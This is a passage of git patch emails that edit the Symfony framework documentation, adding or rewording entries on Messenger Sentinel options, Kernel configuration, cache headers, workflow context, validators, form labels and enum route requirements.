+timeout                  Float, value in seconds                ``0``
                          default indicates unlimited
 sentinel_master          String, if null or empty Sentinel      null
                          support is disabled

From 08b2e339b1dce0bb702118416b4b1b7e03c3ae53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Apr 2022 17:43:15 +0200
Subject: [PATCH 1787/5766] Readded the Redis Sentinel options

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d22c2a6bfa9..4970b526f16 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1369,8 +1369,22 @@ redeliver_timeout        Timeout before retrying a pending      ``3600``
 claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
                          messages should be checked for to
                          claim - in milliseconds
+sentinel_persistent_id   String, if null connection is          null
+                         non-persistent.
+sentinel_retry_interval  Int, value in milliseconds             ``0``
+sentinel_read_timeout    Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_timeout         Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_master          String, if null or empty Sentinel      null
+                         support is disabled
 =======================  =====================================  =================================
 
+.. versionadded:: 5.4
+
+    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
+    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 6.1.
+
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From 598a8c253dd2232031ca04c31532d114c02f9e8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Apr 2022 17:45:46 +0200
Subject: [PATCH 1788/5766] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 69969f76920..0033044f03e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1382,8 +1382,8 @@ sentinel_master          String, if null or empty Sentinel      null
 
 .. versionadded:: 5.4
 
-    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
-    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 6.1.
+    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
+    ``sentinel_master`` options were introduced in Symfony 6.1.
 
 .. caution::
 

From f083d696482e44cb84f915f9ab0f3509a58a99a4 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 6 Apr 2022 22:39:48 +0200
Subject: [PATCH 1789/5766] [Config] Add Kernel method override example for
 php/xml formats

---
 configuration.rst | 21 ++++++++++++++++++++-
 1 file changed, 20 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 6fcab2514ad..679240d7a54 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -65,7 +65,26 @@ shown in these three formats.
     Starting from Symfony 5.1, by default Symfony only loads the configuration
     files defined in YAML format. If you define configuration in XML and/or PHP
     formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
-    and ``.php`` file extensions.
+    and ``.php`` file extensions by overriding the
+    :method:`Symfony\\Component\\HttpKernel\\Kernel::configureContainer` method::
+
+        // src/Kernel.php
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+        private function configureContainer(ContainerConfigurator $container): void
+        {
+            $configDir = $this->getConfigDir();
+
+            $container->import($configDir.'/{packages}/*.{yaml,php}');
+            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
+
+            if (is_file($configDir.'/services.yaml')) {
+                $container->import($configDir.'/services.yaml');
+                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+            } else {
+                $container->import($configDir.'/{services}.php');
+            }
+        }
 
 There isn't any practical difference between formats. In fact, Symfony
 transforms and caches all of them into PHP before running the application, so

From e33b43faaa5983cb7ae2d83e3eb431dad1ea2125 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Thu, 7 Apr 2022 13:55:23 +0000
Subject: [PATCH 1790/5766] Update syntax.rst

---
 components/expression_language/syntax.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index a4c17f81a27..817e760b22b 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -183,6 +183,9 @@ Comparison Operators
 * ``<=`` (less than or equal to)
 * ``>=`` (greater than or equal to)
 * ``matches`` (regex match)
+* ``contains``
+* ``starts with``
+* ``ends with``
 
 .. tip::
 

From ccf38dcca47e30dcf8d388810070f1801b268526 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 08:38:18 +0200
Subject: [PATCH 1791/5766] Add the versionadded directive

---
 components/expression_language/syntax.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 14de165e85b..9f0ace947b0 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -214,6 +214,11 @@ Comparison Operators
 * ``starts with``
 * ``ends with``
 
+.. versionadded:: 6.1
+
+    The ``contains``, ``starts with`` and ``ends with`` operators were introduced
+    in Symfony 6.1.
+
 .. tip::
 
     To test if a string does *not* match a regex, use the logical ``not``

From 1695ba7156c8cfd0e48c132e4d9cd63d453ff5d4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 16:06:13 +0200
Subject: [PATCH 1792/5766] Minor syntax fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index f91125d7000..605561e39d5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1193,7 +1193,7 @@ it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ss
     By default, the transport will automatically create any exchanges, queues and
     binding keys that are needed. That can be disabled, but some functionality
     may not work correctly (like delayed queues).
-    To not autocreate any queues, you can configure a transport with `queues: []`.
+    To not autocreate any queues, you can configure a transport with ``queues: []``.
 
 .. note::
 

From d75e3c51d5e55b0b5c7b54af5ace79882e783b70 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 16:27:59 +0200
Subject: [PATCH 1793/5766] Minor tweak

---
 configuration.rst | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 679240d7a54..ef6050ba34f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -70,19 +70,25 @@ shown in these three formats.
 
         // src/Kernel.php
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-        private function configureContainer(ContainerConfigurator $container): void
+        class Kernel extends BaseKernel
         {
-            $configDir = $this->getConfigDir();
+            // ...
+
+            private function configureContainer(ContainerConfigurator $container): void
+            {
+                $configDir = $this->getConfigDir();
 
-            $container->import($configDir.'/{packages}/*.{yaml,php}');
-            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
+                $container->import($configDir.'/{packages}/*.{yaml,php}');
+                $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
 
-            if (is_file($configDir.'/services.yaml')) {
-                $container->import($configDir.'/services.yaml');
-                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
-            } else {
-                $container->import($configDir.'/{services}.php');
+                if (is_file($configDir.'/services.yaml')) {
+                    $container->import($configDir.'/services.yaml');
+                    $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                } else {
+                    $container->import($configDir.'/{services}.php');
+                }
             }
         }
 

From 995b2e62d91617c851863537cd27f5b710b64a1d Mon Sep 17 00:00:00 2001
From: remieuronews <remi.le-monnier@ext.euronews.com>
Date: Tue, 25 Jan 2022 09:17:01 +0100
Subject: [PATCH 1794/5766] [cache] 45036 add stale while revalidate and stale
 if error support

---
 components/http_foundation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 8e31999220f..5ae8bf14a4f 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -479,6 +479,8 @@ of methods to manipulate the HTTP headers related to the cache:
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setExpires`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setMaxAge`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setSharedMaxAge`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setStaleIfError`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setStaleWhileRevalidate`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setTtl`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setClientTtl`
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setLastModified`
@@ -506,6 +508,8 @@ call::
         'proxy_revalidate' => false,
         'max_age'          => 600,
         's_maxage'         => 600,
+        'stale_if_error'   => 86400,
+        'stale_while_revalidate' => 60,
         'immutable'        => true,
         'last_modified'    => new \DateTime(),
         'etag'             => 'abcdef',

From 8d0a9d963b513e66231ad54a4166fa80d905ec93 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 16:47:32 +0200
Subject: [PATCH 1795/5766] Add the versionadded directive

---
 components/http_foundation.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 5ae8bf14a4f..76a3a767698 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -515,6 +515,11 @@ call::
         'etag'             => 'abcdef',
     ]);
 
+.. versionadded:: 6.1
+
+    The ``stale_if_error`` and ``stale_while_revalidate`` options were
+    introduced in Symfony 6.1.
+
 To check if the Response validators (``ETag``, ``Last-Modified``) match a
 conditional value specified in the client Request, use the
 :method:`Symfony\\Component\\HttpFoundation\\Response::isNotModified`

From 0203dfbe2640c0b39cad515a73a8d01c4aedcbf9 Mon Sep 17 00:00:00 2001
From: Volen Davidov <volen.davidov@gmail.com>
Date: Tue, 5 Apr 2022 17:14:31 +0300
Subject: [PATCH 1796/5766] [Messenger] Services that need reset must implement
 ResetInterface

---
 messenger.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0033044f03e..0886e2716ea 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -707,11 +707,16 @@ you can decide to not take care of services that may leak memory.
 
 On the other hand, workers usually sequentially process messages in long-running CLI processes, which don't
 finish after processing a single message. That's why you must be careful about service
-states to prevent information and/or memory leakage.
+states to prevent information and/or memory leakage as Symfony will inject the same instance of a
+service, preserving the internal state of the service between messages.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
 That's why Symfony automatically resets the service container between two messages.
+If a service is not stateless and you want to reset its properties after each message, then
+the service must implement :class:`Symfony\\Contracts\\Service\\ResetInterface` where you can reset the
+properties in the ``reset()`` method.
+
 If you don't want to reset the container, add the ``--no-reset`` option when
 running the ``messenger:consume`` command.
 

From 8482dad4fb8d1aec38a1f5aee7c965fd5d3032bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Apr 2022 17:37:52 +0200
Subject: [PATCH 1797/5766] Reword

---
 messenger.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index d1c5cd42073..8a82d1d18b8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -705,14 +705,19 @@ PHP is designed to be stateless, there are no shared resources across different
 requests. In HTTP context PHP cleans everything after sending the response, so
 you can decide to not take care of services that may leak memory.
 
-On the other hand, workers usually sequentially process messages in long-running CLI processes, which don't
-finish after processing a single message. That's why you must be careful about service
-states to prevent information and/or memory leakage as Symfony will inject the same instance of a
-service, preserving the internal state of the service between messages.
+On the other hand, it's common for workers to process messages sequentially in
+long-running CLI processes which don't finish after processing a single message.
+Beware about service states to prevent information and/or memory leakage as
+Symfony will inject the same instance of a service in all messages, preserving
+the internal state of the services.
 
 However, certain Symfony services, such as the Monolog
 :ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
-That's why Symfony automatically resets the service container between two messages.
+Symfony provides a **service reset** feature to solve this problem. When resetting
+the container automatically between two messages, Symfony looks for any services
+implementing :class:`Symfony\\Contracts\\Service\\ResetInterface` (including your
+own services) and calls their ``reset()`` method so they can clean their internal state.
+
 If a service is not stateless and you want to reset its properties after each message, then
 the service must implement :class:`Symfony\\Contracts\\Service\\ResetInterface` where you can reset the
 properties in the ``reset()`` method.

From 41190e5e92b7656201e8bd1f69937de0826f5c6c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 8 Apr 2022 19:42:02 +0200
Subject: [PATCH 1798/5766] [Pull Requests] Fix Symfony upstream URL as
 `git://` isn't supported by Github anymore.

See: https://github.blog/2021-09-01-improving-git-protocol-security-github/
---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index d49b8179b88..3d45dbd6c62 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -99,7 +99,7 @@ Get the Symfony source code:
 .. code-block:: terminal
 
       $ cd symfony
-      $ git remote add upstream git://github.com/symfony/symfony.git
+      $ git remote add upstream https://github.com/symfony/symfony.git
 
 Check that the current Tests Pass
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 806310a10c8cb8e35182ab7871329eddaa4807bd Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 10 Apr 2022 10:56:52 +0200
Subject: [PATCH 1799/5766] Adding caution box on dependecy injection

I guessed this (based on trial and error), so please double-check!

Maybe add a second sentence like:
The reason is that the class is instantiated by Doctrine and not wired through Symfony's DI container.
---
 doctrine/custom_dql_functions.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index ee11967da47..974ee11987f 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -146,4 +146,8 @@ In Symfony, you can register your custom DQL functions as follows:
                 ],
             ]);
 
+.. caution::
+
+    It is not possible to inject Symfony services or parameters into a custom DQL function.
+
 .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html

From c1993e8e73922d8f06ef25a025ad8f7006759316 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tom=C3=A1=C5=A1=20Tibensk=C3=BD?=
 <ttibensky@users.noreply.github.com>
Date: Sun, 10 Apr 2022 14:23:47 +0200
Subject: [PATCH 1800/5766] Fix invalid interface mention in security.rst

SerializableInterface doesn't exist, I assume it was meant to be https://www.php.net/manual/en/class.serializable.php, the motivation behind this change is described here https://stackoverflow.com/questions/42074225/symfony-userinterface-is-serializing-the-entire-massive-user-entity/71816482#71816482
---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index d29f1480f78..e04a67e41a6 100644
--- a/security.rst
+++ b/security.rst
@@ -2503,9 +2503,9 @@ However, in some cases, this process can cause unexpected authentication problem
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 
-In that case, review the serialization logic (e.g. ``SerializableInterface``) on
+In that case, review the serialization logic (e.g. ``\Serializable`` interface) on
 you user class (if you have any) to make sure that all the fields necessary are
-serialized.
+serialized and also exclude all the fields not necessary to be serialized (relations).
 
 Comparing Users Manually with EquatableInterface
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From fbb9b9349f8a06bea06c98c0ede473b6550cf23c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 9 Apr 2022 21:17:35 +0200
Subject: [PATCH 1801/5766] [Doctrine] Fixing link syntax

---
 doctrine/custom_dql_functions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index ee11967da47..a6a47d4a18e 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -5,7 +5,7 @@ How to Register custom DQL Functions
 ====================================
 
 Doctrine allows you to specify custom DQL functions. For more information
-on this topic, read Doctrine's cookbook article "`DQL User Defined Functions`_".
+on this topic, read Doctrine's cookbook article `DQL User Defined Functions`_.
 
 In Symfony, you can register your custom DQL functions as follows:
 

From a457674654b71f6052ff7854e24e59efaf6476a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Apr 2022 16:11:44 +0200
Subject: [PATCH 1802/5766] Fix a versionadded directive

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8a82d1d18b8..19be0030341 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1391,7 +1391,7 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
-.. versionadded:: 5.4
+.. versionadded:: 6.1
 
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.

From 5f1cac0557c008f251d34bee91c0bf5767541538 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Tue, 12 Apr 2022 10:37:05 +0200
Subject: [PATCH 1803/5766] Add documentation about
 trust_x_sendfile_type_header

---
 reference/configuration/framework.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0def42085e1..8b91833f8cc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -180,6 +180,19 @@ named ``kernel.http_method_override``.
         $request = Request::createFromGlobals();
         // ...
 
+
+ .. _configuration-framework-http_method_override:
+
+trust_x_sendfile_type_header
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+This determines whether to trust ``x-sendfile`` header for BinaryFileResponse. If enabled, the
+:method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>`
+method gets called automatically. It becomes the service container parameter
+named ``kernel.trust_x_sendfile_type_header``.
+
 .. _reference-framework-trusted-headers:
 
 trusted_headers

From be3fe46043eceb3c412eb3743816cca5753efc2a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Apr 2022 17:32:00 +0200
Subject: [PATCH 1804/5766] Reword

---
 reference/configuration/framework.rst | 16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8b91833f8cc..8a3c41d3c85 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -188,10 +188,20 @@ trust_x_sendfile_type_header
 
 **type**: ``boolean`` **default**: ``false``
 
-This determines whether to trust ``x-sendfile`` header for BinaryFileResponse. If enabled, the
+.. versionadded:: 6.1
+
+    The ``trust_x_sendfile_type_header`` option was introduced in Symfony 6.1.
+
+``X-Sendfile`` is a special HTTP header that tells web servers to replace the
+response contents by the file that is defined in that header. This improves
+performance because files are no longer served by your application but directly
+by the web server.
+
+This configuration option determines whether to trust ``x-sendfile`` header for
+BinaryFileResponse. If enabled, Symfony calls the
 :method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>`
-method gets called automatically. It becomes the service container parameter
-named ``kernel.trust_x_sendfile_type_header``.
+method automatically. It becomes the service container parameter named
+``kernel.trust_x_sendfile_type_header``.
 
 .. _reference-framework-trusted-headers:
 

From 2e5a64da828f1bafdb1b4170680a12c7c54d18dd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 13 Apr 2022 13:36:58 +0200
Subject: [PATCH 1805/5766] add back information on accessing the context in
 guard events

This information was present in older versions of the documentation, but
got lost when the `versionadded` directive was removed in the `6.0` branch.
---
 workflow.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 49486c00074..730ddc0926b 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -382,14 +382,14 @@ order:
 
         $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
 
-    The context is accessible in all events::
+The context is accessible in all events except for the ``workflow.guard`` events::
 
-        // $context must be an array
-        $context = ['context_key' => 'context_value'];
-        $workflow->apply($subject, $transitionName, $context);
+    // $context must be an array
+    $context = ['context_key' => 'context_value'];
+    $workflow->apply($subject, $transitionName, $context);
 
-        // in an event listener (workflow.guard events)
-        $context = $event->getContext(); // returns ['context']
+    // in an event listener (workflow.guard events)
+    $context = $event->getContext(); // returns ['context']
 
 .. note::
 

From 612ec53fa615dabcc9341712bc5674496d7d1a43 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 13 Apr 2022 13:38:48 +0200
Subject: [PATCH 1806/5766] move versionadded directive out of list item

This information is not only related to the `workflow.announce` event, but
provides important information for other events too.
---
 workflow.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index b44b417f333..5d972858c28 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -386,17 +386,17 @@ order:
 
         The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
 
-    .. versionadded:: 5.2
+.. versionadded:: 5.2
 
-        In Symfony 5.2, the context is customizable for all events except for
-        ``workflow.guard`` events, which will not receive the custom ``$context``::
+    In Symfony 5.2, the context is customizable for all events except for
+    ``workflow.guard`` events, which will not receive the custom ``$context``::
 
-            // $context must be an array
-            $context = ['context_key' => 'context_value'];
-            $workflow->apply($subject, $transitionName, $context);
+        // $context must be an array
+        $context = ['context_key' => 'context_value'];
+        $workflow->apply($subject, $transitionName, $context);
 
-            // in an event listener
-            $context = $event->getContext(); // returns ['context']
+        // in an event listener
+        $context = $event->getContext(); // returns ['context']
 
 .. note::
 

From 2d13ead362106f6d83d2811cb4b77d57efadae0e Mon Sep 17 00:00:00 2001
From: Florian-B <Florian-B@users.noreply.github.com>
Date: Wed, 13 Apr 2022 13:54:13 +0200
Subject: [PATCH 1807/5766] Update configuration.rst

---
 configuration.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index ef6050ba34f..114fcb8cb51 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -465,6 +465,12 @@ files directly in the ``config/packages/`` directory.
             when@test:
                 webpack_encore:
                     strict_mode: false
+                    
+            # you can use "Yaml anchors" to share config between multiple environments (make "test" config identical to "prod")
+            when@prod: &webpack_prod
+                webpack_encore:
+                    # ...
+            when@test: *webpack_prod
 
         .. code-block:: xml
 

From 38902a52438c2457109c1936bf8e63cb18bdaad2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 13 Apr 2022 17:12:59 +0200
Subject: [PATCH 1808/5766] Minor reword

---
 configuration.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 114fcb8cb51..e74eaa8b862 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -465,8 +465,9 @@ files directly in the ``config/packages/`` directory.
             when@test:
                 webpack_encore:
                     strict_mode: false
-                    
-            # you can use "Yaml anchors" to share config between multiple environments (make "test" config identical to "prod")
+
+            # YAML syntax allows to reuse contents using "anchors" (&some_name) and "aliases" (*some_name).
+            # In this example, 'test' configuration uses the exact same configuration as in 'prod'
             when@prod: &webpack_prod
                 webpack_encore:
                     # ...

From caf3e1f99e85bc9af42e51f13071a923b8d031e4 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Wed, 13 Apr 2022 23:05:16 +0200
Subject: [PATCH 1809/5766] [Validator] Add the fields option to the Unique
 constraint

---
 reference/constraints/Unique.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 7a3e36c5aba..ad6e148254d 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -103,6 +103,20 @@ strings:
 Options
 -------
 
+``fields``
+~~~~~~~~~~
+
+**type**: ``array`` | ``string``
+
+
+.. versionadded:: 6.1
+
+    The ``fields`` option was introduced in Symfony 6.1.
+
+This is optional and defines key or keys
+in a collection that should be checked for uniqueness.
+By default, all collection keys are checked for uniqueness.
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``

From b72dd7c8cc039db21700e526c8f564d06550671e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20L=C3=A9v=C3=AAque?= <sleveque@emisys.eu>
Date: Fri, 15 Apr 2022 09:02:59 +0200
Subject: [PATCH 1810/5766] [Form] Document using TranslatableMessage in form
 Fields

---
 .../forms/types/options/choice_label.rst.inc  |  1 +
 reference/forms/types/options/label.rst.inc   | 20 +++++++++++++++++--
 2 files changed, 19 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 6cfac9323ae..aa83524ad88 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -25,6 +25,7 @@ more control::
 
             // or if you want to translate some key
             //return 'form.choice.'.$key;
+            //return new TranslatableMessage($key, false === $choice ? [] : ['%status%' => $value], 'store');
         },
     ]);
 
diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 3d9b6bd1674..da8285a8632 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -1,10 +1,26 @@
 ``label``
 ~~~~~~~~~
 
-**type**: ``string`` **default**: The label is "guessed" from the field name
+**type**: ``string`` or ``TranslatableMessage`` **default**: The label is "guessed" from the field name
 
 Sets the label that will be used when rendering the field. Setting to ``false``
-will suppress the label. The label can also be set in the template:
+will suppress the label.
+
+    use Symfony\Component\Translation\TranslatableMessage;
+
+    $builder
+        ->add('zipCode', null, [
+            'label' => 'The ZIP/Postal code',
+        ])
+
+    // ...
+
+    ->add('zipCode', null, [
+            'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'),
+        ])
+    ;
+
+The label can also be set in the template:
 
 .. configuration-block::
 

From c48c74a40fb52343ea9584b418953be33467eff8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Mon, 18 Apr 2022 09:11:11 +0200
Subject: [PATCH 1811/5766] [Routing] Add information about EnumRequirement

---
 controller/argument_value_resolver.rst | 28 +++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 9d08d8e3ef4..18e79233a82 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -52,9 +52,35 @@ Symfony ships with the following value resolvers in the
     When requesting the ``/cards/H`` URL, the ``$suit`` variable will store the
     ``Suit::Hearts`` case.
 
+    Furthermore, you can limit route parameter's allowed values to
+    only one (or more) with ``EnumRequirement``::
+
+        use Symfony\Component\Routing\Requirement\EnumRequirement;
+
+        // ...
+
+        class CardController
+        {
+            #[Route(
+                '/cards/{suit}',
+                requirements: [
+                    'suit' => new EnumRequirement(Suit::class, Suit::Diamonds, Suit::Spades),
+                ],
+            )]
+            public function list(Suit $suit): Response
+            {
+                // ...
+            }
+
+            // ...
+        }
+
+    The example above allows requesting only ``/cards/D`` and ``/cards/S``
+    URLs and leads to 404 Not Found response in two other cases.
+
     .. versionadded:: 6.1
 
-        The ``BackedEnumValueResolver`` was introduced in Symfony 6.1.
+        The ``BackedEnumValueResolver`` and ``EnumRequirement`` were introduced in Symfony 6.1.
 
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.

From 3a52f560625e0fc7a0f37c1e27b9dc80d2913705 Mon Sep 17 00:00:00 2001
From: Maarten de Keizer <github@maartendekeizer.nl>
Date: Mon, 18 Apr 2022 16:54:14 +0200
Subject: [PATCH 1812/5766] Fix path/example content of error route files

Removed `dev` part from file location, adjusted code example.
---
 controller/error_pages.rst | 25 +++++++++++++++----------
 1 file changed, 15 insertions(+), 10 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index a94294573a0..2eec5213956 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -155,32 +155,37 @@ automatically when installing ``symfony/framework-bundle``):
 
     .. code-block:: yaml
 
-        # config/routes/dev/framework.yaml
-        _errors:
-            resource: '@FrameworkBundle/Resources/config/routing/errors.xml'
